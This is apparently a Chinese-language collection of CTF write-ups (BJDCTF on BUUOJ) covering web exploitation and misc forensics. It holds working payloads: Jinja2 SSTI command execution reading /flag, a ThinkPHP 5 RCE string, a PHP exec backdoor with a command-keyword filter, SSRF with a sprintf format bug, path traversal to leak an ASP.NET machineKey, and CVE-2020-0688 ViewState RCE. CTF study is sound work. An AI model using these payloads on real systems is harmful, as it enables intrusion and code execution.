?name={{config.__class__.__init__.__globals__['os'].popen('ls /').read() }}
?name={{config.__class__.__init__.__globals__['os'].popen('cat /flag').read()}}
打开界面,有一个thinkphp5
但不确定版本是多少,先GET一个5.0.0的payload过去:
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
于是看得到ThinkPHP版本
于是POST一个payload过去就行了:
点进去看到一个.swap,可能有源码泄露,改文件目录为.index.php.swp,果然下载了一个swp文件。
swp文件是由于vim强制退出时所形成的临时文件,在linux系统下利用命令vi -r index.php.swp
即可查看源码:
error_reporting(0);
echo "how can i give you source code? .swp?!"."
";
if (!isset($_POST['girl_friend'])) {
die("where is P3rh4ps's girl friend ???");
}
else{
$girl = $_POST['girl_friend'];
if (preg_match('/\>|\\\/', $girl)) {
die('just girl');
} else if (preg_match('/ls|phpinfo|cat|\%|\^|\~|base64|xxd|echo|\$/i', $girl)) {
echo "> <!-- He is p3 -->";
} else {
//duangShell~~~~
exec($girl);
}
}
?>
反弹shell,然后用find命令找到flag即可。
(复现的时候弹不到shell,很迷
看网页源码会发现有一段白色字体:
将该网页输入框中进行爆破,发现它涨的很慢。
查看cookie,发现一串base64,
解码发现是一串数字。其实这是时间戳,只要把这里的cookie清空再刷新页面就会发现它无线接近100了
此时直接check一下,发现是b站的av号,在视频评论区从后面往前找一下就能找到flag。
点进去,发现是登陆界面,用bp抓包然后查看repeater,发现
点进去,界面告诉我们要99年之后才能查看。在cookie里发现一个名为time的cookie,里面是时间戳。直接把时间往后调然后发送时间戳即可。
界面又告诉我们要localhost才能访问
而且提示XFF头没用,要用Client-IP。然后添加referer头,改变UA。
查找commodo 64的时候提示我们是否在查找commodore 64,将这个填入UA处。又根据提示添加了from头和via头之后终于看到了flag
点进去,没有提示任何输入,其他网页也会被重定向回该页面。试了试git源码泄露,代码如下:
$a = $_GET['yds_is_so_beautiful'];
echo unserialize($a);
?>
结合题目里的XSS,说明这是要我们用PHP的原生类来构造序列化。
payload如下:
$a = serialize(new Error(")"));
echo $a;
?>
运行之后把得出的值GET过去,即可在cookie处看到flag。
脑洞题,提示有:元素周期表+图片名叫mendeleev.jpg+门捷列夫的俄语名和国旗+源码的里id合起来转字符串为Po.php+现场提示。
把元素周期表作为一个字典,跑一下,再把所有文件里的文本拼在一起,就是一个文件名,里面就是flag。
import requests
url = "http://a48eb052-ee98-4f95-82d0-870b0189b4b0.node3.buuoj.cn/"
element = ('H', 'He', 'Li', 'Be', 'B', 'C', 'N', 'O', 'F', 'Ne', 'Na', 'Mg', 'Al', 'Si', 'P', 'S', 'Cl', 'Ar',
'K', 'Ca', 'Sc', 'Ti', 'V', 'Cr', 'Mn', 'Fe', 'Co', 'Ni', 'Cu', 'Zn', 'Ga', 'Ge', 'As', 'Se', 'Br',
'Kr', 'Rb', 'Sr', 'Y', 'Zr', 'Nb', 'Mo', 'Te', 'Ru', 'Rh', 'Pd', 'Ag', 'Cd', 'In', 'Sn', 'Sb', 'Te',
'I', 'Xe', 'Cs', 'Ba', 'La', 'Ce', 'Pr', 'Nd', 'Pm', 'Sm', 'Eu', 'Gd', 'Tb', 'Dy', 'Ho', 'Er', 'Tm',
'Yb', 'Lu', 'Hf', 'Ta', 'W', 'Re', 'Os', 'Ir', 'Pt', 'Au', 'Hg', 'Tl', 'Pb', 'Bi', 'Po', 'At', 'Rn',
'Fr', 'Ra', 'Ac', 'Th', 'Pa', 'U', 'Np', 'Pu', 'Am', 'Cm', 'Bk', 'Cf', 'Es', 'Fm','Md', 'No', 'Lr',
'Rf', 'Db', 'Sg', 'Bh', 'Hs', 'Mt', 'Ds', 'Rg', 'Cn', 'Nh', 'Fl', 'Mc', 'Lv', 'Ts', 'Og', 'Uue')
string = ""
for i in element:
new_url = url+i+".php"
source = requests.get(new_url)
if(source.status_code==200):
string += source.text
else:
continue
print string
在header处藏了一个hint
跳转后看到
可以用php伪协议读取文件。注意的是不能有文件后缀,读取的system.php的php部分文件如下:
error_reporting(0);
if (!isset($_COOKIE['y1ng']) || $_COOKIE['y1ng'] !== sha1(md5('y1ng'))){
echo "";
header("Refresh:0.1;url=index.php");
die;
}
$str2 = ' Error: url invalid
~$ ';
$str3 = ' Error: damn hacker!
~$ ';
$str4 = ' Error: request method error
~$ ';
?>
$filter1 = '/^http:\/\/127\.0\.0\.1\//i';
$filter2 = '/.?f.?l.?a.?g.?/i';
if (isset($_POST['q1']) && isset($_POST['q2']) && isset($_POST['q3']) ) {
$url = $_POST['q2'].".y1ng.txt";
$method = $_POST['q3'];
$str1 = "~$ python fuck.py -u \"".$url ."\" -M $method -U y1ng -P admin123123 --neglect-negative --debug --hint=xiangdemei
";
echo $str1;
if (!preg_match($filter1, $url) ){
die($str2);
}
if (preg_match($filter2, $url)) {
die($str3);
}
if (!preg_match('/^GET/i', $method) && !preg_match('/^POST/i', $method)) {
die($str4);
}
$detect = @file_get_contents($url, false);
print(sprintf("$url method&content_size:$method%d", $detect));
}
?>
分析可得有格式化字符串漏洞(PWN爷爷救我),payload如下:q1=123&q2=http://127.0.0.1/admin.php?A$3d&q3=GET%s%
可以得到admin.php代码如下:
error_reporting(0);
session_start();
$f1ag = 'f1ag{s1mpl3_SSRF_@nd_spr1ntf}'; //fake
function aesEn($data, $key)
{
$method = 'AES-128-CBC';
$iv = md5($_SERVER['REMOTE_ADDR'],true);
return base64_encode(openssl_encrypt($data, $method,$key, OPENSSL_RAW_DATA , $iv));
}
function Check()
{
if (isset($_COOKIE['your_ip_address']) && $_COOKIE['your_ip_address'] === md5($_SERVER['REMOTE_ADDR']) && $_COOKIE['y1ng'] === sha1(md5('y1ng')))
return true;
else
return false;
}
if ( $_SERVER['REMOTE_ADDR'] == "127.0.0.1" ) {
highlight_file(__FILE__);
} else {
echo "403 Forbidden
only 127.0.0.1 can access! You know what I mean right?
your ip address is " . $_SERVER['REMOTE_ADDR'];
}
$_SESSION['user'] = md5($_SERVER['REMOTE_ADDR']);
if (isset($_GET['decrypt'])) {
$decr = $_GET['decrypt'];
if (Check()){
$data = $_SESSION['secret'];
include 'flag_2sln2ndln2klnlksnf.php';
$cipher = aesEn($data, 'y1ng');
if ($decr === $cipher){
echo WHAT_YOU_WANT;
} else {
die('爬');
}
} else{
header("Refresh:0.1;url=index.php");
}
} else {
//I heard you can break PHP mt_rand seed
mt_srand(rand(0,9999999));
$length = mt_rand(40,80);
$_SESSION['secret'] = bin2hex(random_bytes($length));
}
?>
关键部分在于$decr === $cipher
。wp上将PHPSSID删除,然后将aesEn函数的data
变量为空,key
为y1ng,$_SERVER['REMOTE_ADDR']
换为自己的IP,然后本地执行一遍,将得到的值赋给decrypt
并用GET方法传过去即可得到flag。
F12打开,发现隐藏了两个参数。暂时还不知道有什么作用,先不管他。
点击按钮,看到img处有有一个path参数,猜测有文件读取
改变文件名输入地址栏中,发现报错:
可以看到有个web.config文件,该文件用来储存ASP.NETWeb的相关配置,而且在网站的根目录下。
但我们用path参数无法读取该文件,此时,可以用命令curl -v "http://d7912e47-76ef-4b4b-805d-fa194481a52e.node3.buuoj.cn/ImgLoad.aspx?path=../../web.config"
进行读取。
文件内容如下:
<configuration>
<system.web>
<machineKey validationKey="47A7D23AF52BEF07FB9EE7BD395CD9E19937682ECB288913CE758DE5035CF40DC4DB2B08479BF630CFEAF0BDFEE7242FC54D89745F7AF77790A4B5855A08EAC9" decryptionKey="B0E528C949E59127E7469C9AF0764506BAFD2AB8150A75A5" validation="SHA1" decryption="3DES" />
system.web>
configuration>
此时就涉及到了一个漏洞:CVE-2020-0688。这题是该漏洞的一个利用方法,参考文章如下:https://devco.re/blog/2020/03/11/play-with-dotnet-viewstate-exploit-and-create-fileless-webshell/
按照它的步骤即可RCE。最终得到flag。
zip伪加密,把图中的09改成00即可
可以看到有个IHDR,说明这是一个.png文件,但是少了文件头,我们在Hex部分补上89504E470D0A1A0A,然后把后缀改成.png即可看到一串16进制,解码即为flag
修改高度即可
图片中有明显错位,ASCII搜索BJD即可得到flag
(这个我是真的没想到这么简单,做出来的人也不是最多的,太神奇了
用010打开,发现个压缩包
改后缀,解压,发现有个不能显示的图片,再用010打开
猜测是视频文件,于是改后缀,打开视频。发现中间插入了很多图片,而且有二维码。
抽帧,用ffmpeg,使用方法如下:
ffmpeg -i video_name.mp4 -vf select='eq(pict_type\,I)' -vsync 2 -s 1920*1080 -f image2 core-%02d.jpeg
-i :输入文件,这里的话其实就是视频,
-vf:是一个命令行,表示过滤图形的描述, 选择过滤器select会选择帧进行输出:包括过滤器常量
pict_type和对应的类型:PICT_TYPE_I 表示是I帧,即关键帧。
-vsync 2:阻止每个关键帧产生多余的拷贝
-f image2 name_%02d.jpeg:将视频帧写入到图片中,样式的格式一般是:
“%d” 或者 “%0Nd”
-s:分辨率,1920*1080
然后找到关键的几帧,修复二维码后扫二维码得到16进制,解码之后看到一串疑似栅栏密码的字符串。重新排列组合顺序即可得到flag。
(不会修二维码,扫不出来,好气啊
010打开,发现压缩文件
然后把里面的压缩文件数据复制出来,粘贴在新的hex文件里,并转格式为.zip格式。
解压,发现hint文件,用010editor打开,发现神似一个二维码,扫码。
发现命令:
od -vtx1 ./draw.png | head -56 | tail -28
执行,得到一个由00和ff两种字节组成的hex文件,去掉00即可看到flag
(二维码又没扫出来,气)
下载下来,打开属性,发现有个新佛曰,搜索解密网站解密后得到:gemlovecom,题目提示我们去掉com,于是我们得到了密码,而且题目提示我们猜密码,可能是outguess隐写,输入命令outguess -k gemlove -r a.jpg -t flag.txt
后得到flag。
(不知道是outguess密码,涨姿势了
file文件告诉我们这是zip文件。
发现需要密码。没有发现伪加密,题目又提示我们不用爆破,其他地方也没找到密码。于是用文件名当密码解密。循环解密即可。下面是我自己写的脚本,在linux新建一个文件夹,把该脚本和解压缩的文件放在该文件夹下即可
# -*- coding:utf-8 -*-
#BJDCTF 套娃
import os
path = "/home/sniper/Downloads/unzip/"
while True:#最后的flag文件名为flag,没有后缀,在切割文件名时会发生错误,自动退出
files = os.listdir(path)
file = files[0]
file_split = file.split(".",1)
filename = file_split[0]
type = file_split[1]
if filename =="unzip":#我的脚本名字叫unzip.py,该语句用来防止选中我的脚本
try:
file = files[1]
file_split = file.split(".",1)
filename = file_split[0]
type = file_split[1]
except:
file = files[0]
file_split = file.split(".",1)
filename = file_split[0]
type = file_split[1]
os.system("mv "+file+" "+filename+".zip")
os.system("unzip -P "+filename+" "+filename+".zip")
os.system("rm -rf "+filename+".zip")
再把wp的脚本贴一下:
#www.gem-love.com
#decompress.py
import os
import filetype
import time
while 1:
aa = os.popen('ls')
filename = aa.read().replace('decompress.py','').replace('\n', '')
a = filename.replace('.tar.gz', '')
kind = filetype.guess(filename)
if kind.extension is 'zip':
os.system("mv {} {}.zip|unzip -P {} {}.zip".format(filename, a, a, a))
os.system("rm *.zip")
time.sleep(0.1)
else:
print('解压完成')
break
以前很火的一个东西,不同键位有不同声音,听出来就行了
(这谁知道啊)
原版网站:http://taqini.space/mikutap/